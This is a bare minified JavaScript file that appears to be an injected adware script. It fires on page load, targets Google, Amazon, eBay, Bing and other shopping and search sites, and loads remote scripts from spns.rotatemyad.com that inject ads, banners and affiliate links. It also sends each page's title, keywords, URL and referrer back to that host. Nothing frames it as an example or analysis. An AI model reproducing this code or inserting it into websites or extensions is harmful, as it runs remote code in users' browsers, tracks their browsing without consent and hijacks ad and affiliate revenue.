(function(){var f="spns.rotatemyad.com";var g=false;var j=15;if(window.c07da12841ed3554e8f1a548ab1e3a57ce18a908){return}else{window.c07da12841ed3554e8f1a548ab1e3a57ce18a908=1}if(typeof(MainWindow)!="undefined"){document=MainWindow.document.parentWindow}var a=(window.location!=window.parent.location)?true:false;if(a){return}if(document.getElementsByClassName==undefined){document.getElementsByClassName=function(n){var e=[];var r=new RegExp("\\b"+n+"\\b");var q=this.getElementsByTagName("*");for(var p=0;p<q.length;p++){var o=q[p].className;if(r.test(o)){e.push(q[p])}}return e}}if(document.addEventListener){document.addEventListener("DOMContentLoaded",function(){k("DOMContentLoaded")},false)}else{if(document.attachEvent){document.attachEvent("onreadystatechange",function(){k("onreadystatechange")})}}if(document.readyState){(function(){if(document.readyState==="complete"){k("complete")}else{setTimeout(arguments.callee,100)}})()}else{var l=false;try{l=window.frameElement==null}catch(d){}if(document.documentElement.doScroll&&l){(function(){try{document.documentElement.doScroll("left")}catch(n){setTimeout(arguments.callee,100);return}k("scroll")})()}}function c(o){var n=true;for(var e in o){n=false;break}return n}var h=false;function k(v){if(!h){h=true;var w=window.location.hostname.toString();if("https:"==window.location.protocol){if(w.search(/www\.google|search\.yahoo|www\.bing|www\.amazon|www\.ebay|www\.youtube|www\.bestbuy/i)==-1){return false}}var r=document.getElementsByTagName("script");for(var s=0;s<r.length;s++){var x=r[s];if(x.src.search(/c07da12841ed3554e8f1a548ab1e3a57ce18a908\.js/i)!==-1){f=x.src.replace(/^https?\:\/\//i,"").split("/")[0];g=(x.src.search(/^https/)==0);window.c07da12841ed3554e8f1a548ab1e3a57ce18a908_baseurl=(g?"https":"http")+"://"+f;break}}window.isjt=function(A){m(A)};var n=[];var y=false;var p="cpc_analytics.js";var o={"www.google":"cpc_google.js","www.ebay":"cpc_ebay.js","www.amazon":"cpc_amazon.js","ask.fm":"cpc_ask.js"};for(var z in o){if(w.indexOf(z)>=0){n.push(o[z]);y=true;break}}if(!y&&p){n.push(p)}if(w.search(/www\.google|search\.yahoo|www\.bing/i)==-1){n.push("banners_default.js")}var t=false;var u="affLinks_analytics.js";var o={"www.google":"affLinks_google.js"};for(var z in o){if(window.location.href.indexOf(z)>0){n.push(o[z]);t=true;break}}if(!t&&u){n.push(u)}var q=function(A){var B=document.createElement("script");B.src=(g?"https":"http")+"://"+f+"/error?key=c07da12841ed3554e8f1a548ab1e3a57ce18a908&evt="+encodeURIComponent(msg);document.getElementsByTagName("body")[0].appendChild(B)};for(var s=0;s<n.length;s++){var e=(g?"https":"http")+"://"+f+"/scripts/c07da12841ed3554e8f1a548ab1e3a57ce18a908/"+n[s];var x=document.createElement("script");if(document.getElementsByTagName("body")[0]){document.getElementsByTagName("body")[0].appendChild(x);x.async=true;x.src=e;x.onerror=q}}}}function m(p){var n="?aid=861&key=c07da12841ed3554e8f1a548ab1e3a57ce18a908&title="+encodeURIComponent(document.title.substring(0,100))+"&keywords="+encodeURIComponent(b().substring(0,200))+"&keywords_text="+encodeURIComponent(p)+"&ref="+encodeURIComponent(window.location)+"&pref="+encodeURIComponent(document.referrer)+"&v="+j;var o=(g?"https":"http")+"://"+f+"/get.php"+n;var e=document.createElement("script");if(document.getElementsByTagName("body")[0]){document.getElementsByTagName("body")[0].appendChild(e);e.async=true;e.src=o}}function b(){metaCollection=document.getElementsByTagName("meta");for(i=0;i<metaCollection.length;i++){if(metaCollection[i].name.search(/keywords/i)!=-1){return metaCollection[i].content}}return""}})();